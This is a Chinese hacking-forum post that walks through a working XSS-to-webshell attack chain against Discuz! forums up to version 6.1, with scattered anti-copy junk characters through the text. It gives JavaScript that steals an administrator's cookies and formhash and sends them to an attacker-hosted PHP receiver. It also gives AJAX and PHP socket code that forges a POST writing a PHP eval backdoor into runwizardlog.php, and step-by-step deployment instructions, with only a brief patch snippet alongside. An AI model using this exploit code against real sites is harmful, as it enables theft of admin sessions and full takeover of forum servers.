Discuz XSS得webshell- r7 {1 ]! G/ a5 o0 s/ Y
By racle @tian6.com6 }6 Y, {# A) S/ m$ `
欢迎转帖.但请保留版权信息.
% F1 j6 d/ {* L# z受影响版本 iscuz<=6.1.0,gbk+utf+big5# F) y0 s5 ~$ t4 f6 ~
4 l! D8 Z0 O- v o6 h' I
新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.- Q i0 r' b' s- H/ |; Q
6 v5 D. L/ J; j% l! K* E/ E2 [+ E% x/ X `. y+ q9 h9 m: ?0 ?, l+ Q. ?+ G
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
. h& W5 X6 x; g当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.3 ~" j' x R# E4 O# j
: O* q+ h( {5 Z/ r) h, X4 J4 B, M1 r
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..9 D, K" I; U$ S; Q1 _4 K9 k
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS2 p. `- j1 p3 t k8 M1 f, w6 d& e
; S7 ]& W$ i/ {. G/ }' ^5 n7 t8 R
----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------
4 u2 A4 z" L) m, ?% z; W+ \$ O2 m7 s3 f" t
& h6 {: i1 w" ^' H3 p' E9 jproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.* p3 h+ B& [6 s! ^- b% g
5 c1 W* ]3 S' u& K+ N
problem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.0 C) a- p" @/ {1 W; G
4 ~, F/ J: X, b" d& k h$ ]3 _
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
# K0 \9 O' ~, ^) v7 u
8 ^* g* P! x- L
G% y) K& l, O1 d下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {+ C7 B2 ~) z& E$ j7 [
: p( `& B0 E$ {' {3 ?0 |8 E) Y
global $runwizardfile, $runwizardhistory;. L* [3 Y2 G6 E$ f( H+ T0 C" c
; E3 [/ M7 X) k% t
$fp = fopen($runwizardfile, 'w');
3 ?( j7 n' J- o3 P, q; {+ |
6 {/ M7 ?8 N( | M4 W) { fwrite($fp, serialize($runwizardhistory));( r) J; {, E5 F( s+ v
3 X) S1 y. K) ?. J
fclose($fp);5 j( f" d9 [& k) ^' _( l
" u9 L \& k) w
}) f8 F& `3 ?) b/ H$ m$ e1 |9 H# Z2 X
复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
, t8 W7 @, n' F) k8 y以下是修补的办法:function saverunwizardhistory() {; P- Q% m, J" f# ^3 u
) o2 [! O/ U; ~& |: K2 P( p
global $runwizardfile, $runwizardhistory;
* k0 j4 j. F) ~& Q5 U: I+ h% N& h' f9 a/ g
$fp = fopen($runwizardfile, 'w');5 H5 U9 |; J3 r. t. w+ n9 o7 G
0 D8 i5 Z5 @- @; q d8 @/ y H3 k+ l* J
$s = '<?php exit;?>';
) B+ N! e$ f5 ^$ E! u/ N; [" S5 m. u7 \5 m2 ^- ^
$s .= serialize($runwizardhistory);
" X0 Q, K$ r- x" o# B1 c( p" C' @ {! c0 E3 d
fwrite($fp, $s);
0 u9 W2 t0 _0 D) k. Z: c0 W! C7 } K4 T
fclose($fp);
/ `/ I! O4 k% R0 I+ n
* c9 B' E: x/ Z. [; {7 T; Y}4 N. m5 |# L5 X( z x
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
* R1 {. F2 e8 o/ U2 Y0 F( a9 G/ ?* {7 D* A* K+ _
9 Y: u- _1 p- M
0 L' h6 _6 V; D8 }, k" c9 l0 ^5 S----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------' _; `2 b8 Y. Z7 |' h$ f8 A
. ?- O9 f) Q- D* r$ {1 e, j n; r/ r
( l2 r) A6 y% V4 |. [ t1 x 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.6 r' {" I% H j( E& T
3 J" g+ @: y- F+ Q2 z7 Q3 X
我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.. C4 N5 p6 E+ R+ Q1 D% w3 P! n9 [
0 L4 i1 U0 Q3 B+ A这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
; }( d! C0 C6 D/ P" }
6 M& v# [2 H% m+ @) e/ O( j0 B# V" Q* p首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
! Q5 i% t5 \/ a) I* [) j$ l4 C% n4 @7 X& Z, U2 K
var url="http://目标网站/admincp.php"; & o" w9 \+ f; S g
0 Y0 Q! o( u ]/ j8 B/*获得cookies*/3 o' r3 s: n$ l# L: X% y9 Y
1 l9 K6 K& s: R& Z; @4 J% H& _/ ufunction getURL(s) {
9 F0 |1 k6 ^1 G% i
9 {$ g6 b# b2 A h+ s' `var image = new Image();
% b) E/ h/ `: W* I2 F' [+ G$ u# R+ ?6 h
image.style.width = 0;
' h/ _/ U9 M4 ~' q7 V* z8 }* I G% c9 C* C
image.style.height = 0;, F& C6 K1 @, w+ J" A* @
d# ^1 S2 t. ?$ p* h" n8 R4 ]
image.src = s;# @/ R) V7 m. c7 E0 p* p' \3 }
: V) E6 X# P4 U
}
$ ]8 t& k% E' t6 b3 R1 }0 F( i; J. H, X3 G1 d: U# J! x
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
2 M# N6 L# l) d1 T2 J0 ~# C& t复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
* a% V$ D& _( V- q: G% t复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
c5 v' C6 S. Z2 K0 |- E! Q; _# ]' j3 ?1 q, k
# D/ x$ c0 R& A8 Z获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";1 @4 V6 w, d, }' f. S9 @' w' Y
2 B* Z, \, r! o" }3 s
4 u5 E! v$ m6 P" o
! o$ O" i: j" m" Q/*hash*/2 o3 s% g) X5 o) D2 \- Y
5 V6 |7 T- \( B' r/ _+ Gvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
# ~2 ^1 ^: x5 u% N- U7 W9 r
N7 T$ E2 l4 T2 C2 p( X1 oxmlHttpReq.open("GET", url+"admincp.php?action=home", false);
' j& L D0 z* s+ |
4 Z. C- I! ~) m; I, }! ~1 A. PxmlHttpReq.send();
/ G0 p9 L/ }8 A' S
$ w6 T/ M+ |; @8 Dvar resource = xmlHttpReq.responseText;0 f# G) D: z( y
P% U( L& \9 v! J3 o6 jvar numero = resource.search(/formhash/);" Q% E! F! O0 P" ]3 V
6 j7 l: G9 ]9 K2 q5 c( V7 a& ~var formhash=encodeURIComponent(resource.substr(numero+17,8));
$ w$ g1 T5 n2 O. c1 a
5 c: x9 }* G( h2 R4 i1 w: h7 ]" y9 V- {9 n9 Q6 U f: j& @
" e& K3 @ Q: }# e" @6 U
var post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
9 D+ ?( a" i; |. N: I$ D& U
2 H) s& I8 I. H4 ~- ^, ?4 DxmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
! Y* Y7 l. s, D9 H9 j6 {; j
9 M/ C. \. X% N" j5 txmlHttpReq.setRequestHeader("Referer", url);
. \: \( b+ `, C- R& h5 D7 I. u2 o- B6 F" L/ o
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
+ z6 e6 M* U) t9 N9 v% j4 q
, u6 Y9 z- t# qxmlHttpReq.setrequestheader("content-length",post.length);
`2 b( y, q3 d# x, ^$ W5 l( i+ _5 h+ ?1 }# l" N v) k: e
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
1 j9 A8 g4 Y2 O; X: n9 ~, L! }. \5 ^3 @$ P3 S5 n0 \
xmlHttpReq.send(post);//发送数据
& m* Y3 r! E5 D% ]复制代码这里HASH我假设正确,这样提交,也无须cookies8 S4 i' l6 u) _5 f0 ]/ d+ D
* t$ `* ^. {1 F7 |- I
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);
4 r" |; g3 V9 m7 `- g5 {' M- g Z" p5 _, X3 D) H
if (!$sock) die("$errstr ($errno)\n");
/ N7 ~$ w3 C4 I+ P B# X/ Q3 t* m; A8 g6 ]+ K, A. _9 J* L
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';- w) `7 X2 ?. k$ z3 \
9 y b0 r+ A! K& A7 H
1 H; y) y5 v5 V7 U$ b4 ~# f" \8 V3 t
8 I4 Y. i& Q- ?% ^' R7 Lfwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");; l0 f3 z0 P+ _0 ^# z
* M$ ^" L. h- @5 g3 n% Z2 Jfwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
/ \- e, f' [% o0 h: o. E1 x0 T3 x% P2 v1 a- ^& H
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
( ?! F* n' g+ J j+ j u
( U9 I8 S8 h& a# ^+ zfwrite($sock, "Accept-Language: zh-cn\r\n");
! Q: g, ? z2 m2 q5 W5 S2 j2 r2 \
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
+ `- ^. O% c( U, \, V; l2 v |
2 Y2 u8 U0 C U0 u7 N6 Efwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
0 X$ w q4 i- Z+ s/ G5 ^" y# O
8 s& V8 z$ O: o$ lfwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
4 q8 F9 T. M4 `( r( _+ y- ]! q, W; Z& @8 {& G. i
fwrite($sock, "Host: $url\r\n");9 i5 f n; Q0 F; k( X( ]0 E
; G: D8 i( Y" s0 x3 N6 Cfwrite($sock, "Content-Length: ".strlen($data)."\r\n");+ T) \, m3 X" a1 C: H$ i/ @
9 D% A- _' l9 f' ?$ ?
fwrite($sock, "Connection: Keep-Alive\r\n");& C7 J/ A) \0 V* @+ @+ N& o
) N! \1 E, h7 @1 D4 dfwrite($sock, "Cache-Control: no-cache\r\n");4 s8 E7 U+ p( }& T
0 F, f5 }, b5 S) g' V2 M0 Dfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
) E, U. p1 ^2 e% [' u7 P; y
7 v6 B6 l; ^, k. z( b) b: I* z) qfwrite($sock, $data);
+ \" c' a6 L O8 g3 Z( n+ r/ z \* K8 W1 H6 Z' i+ x1 F+ n* g
- E- r6 l* j1 V( Q
, i! Q3 ]. q2 |( C$ ^4 Z# q# w
$headers = "";
; p$ W" U3 @- K( Q# m
2 c5 `1 ^8 w1 @8 H/ _( j* Owhile ($str = trim(fgets($sock, 4096)))
- l7 f! V9 p/ h6 W
4 j' Z a: K7 [/ ?2 n! t8 m $headers .= "$str\n";5 G0 w( G& Y' R9 c9 J
7 ? W& g) C& {* W2 D+ V
echo "\n";4 N( V { `7 H& S
; K* Y1 d$ o9 c! S' g9 M$body = "";
4 a6 i7 W( @2 V+ U j/ A
0 q+ |9 l8 G: z' V0 ]7 {, ~2 Q& {* Zwhile (!feof($sock))
, q( g* m, m' u5 e6 G; y( A0 ]# o# } c
$body .= fgets($sock, 4096);
2 q) {& ^. Q9 W1 n, M& N( b
4 u: {5 m% l5 Dfclose($sock);
& \; M; s9 \' u7 E( z; p/ L7 n4 x9 \( \2 q3 O/ ?* o
echo $body; @4 d) b+ N2 ?) t4 s% X2 s
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
9 q, y) ?$ [" i
. E4 |* d& H9 W4 i" G, r
9 |$ d" H6 e/ Y-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
& v* z, K( b, a7 M
# z( m7 J) O0 T4 o: X; q/ W0 P% D+ N, k
1 HP SOCKET利用方法首先打开racle.js
0 n% x( {8 W, j& n& y p
4 {% H8 b5 D) i, T7 K9 F+ h% Jvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
, r: h" g0 _. M! X E& N( i. \( S8 F9 b: Y. E
0 [, N" v9 h5 K% Z* H+ c6 c2 s& P- A
, _7 m; B5 ~ G
然后打开racle@tian6.php
( V! @3 i" ~0 J' R
* O* B8 q) }9 s$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com; N6 U" I6 [8 K/ k) {
* P1 o. i$ F7 m- s- b/ f
0 n5 D2 W! i3 y4 M1 i
( {8 ]/ k( p; U& W1 m如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:+ f; [, y% n$ W& C# q
' b; b! @* V; K8 A" j, \" S& i
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
$ n+ b; N7 C8 h3 `2 x3 |
9 O' ]. B( Y0 {+ F4 y$ k为& K* W# |0 e& |
5 U. d! Y+ x6 K* _3 }+ k% `getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));
( [6 N/ P; }: R7 ?0 ~复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
; ]1 H! U% T$ f- X: s2 h$ m _
/ l/ Z! {5 g6 Z6 J/ z9 g+ w7 W! Z: n9 \' A9 e
# o! [% Y+ P$ T3 Y& F/ m1 G
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:% [' }7 E8 }( i: C7 f. D
2 `3 t$ {: ^% V4 ^
var formhash=encodeURIComponent(resource.substr(numero+17,8));
& C% C' a( m8 h) A1 Z9 ], H
0 ]7 ^/ d& \+ H& Y) H" K3 p8 A为
* |, e+ a" @8 H% |0 F1 b X; N6 C3 }
' o, r# Q& U) j- X# xvar formhash=encodeURIComponent(resource.substr(numero+9,8));0 e. N" y4 c" s" C' H2 h) F1 h
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.$ {4 h0 Q8 U( H: {, r5 b% p5 r
! C; R6 Y6 ~' X& P4 L' j# n
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
3 u4 B3 u2 v8 W" h r5 i6 X+ B. {/ ?+ z' T
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
D, L1 |& E1 a5 a* H* P9 e
0 B# k, k1 P4 i( y3 J. B不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
6 m. U& q& J; D! U1 U7 \
4 F2 I( ^1 V' ?7 |5 ~ |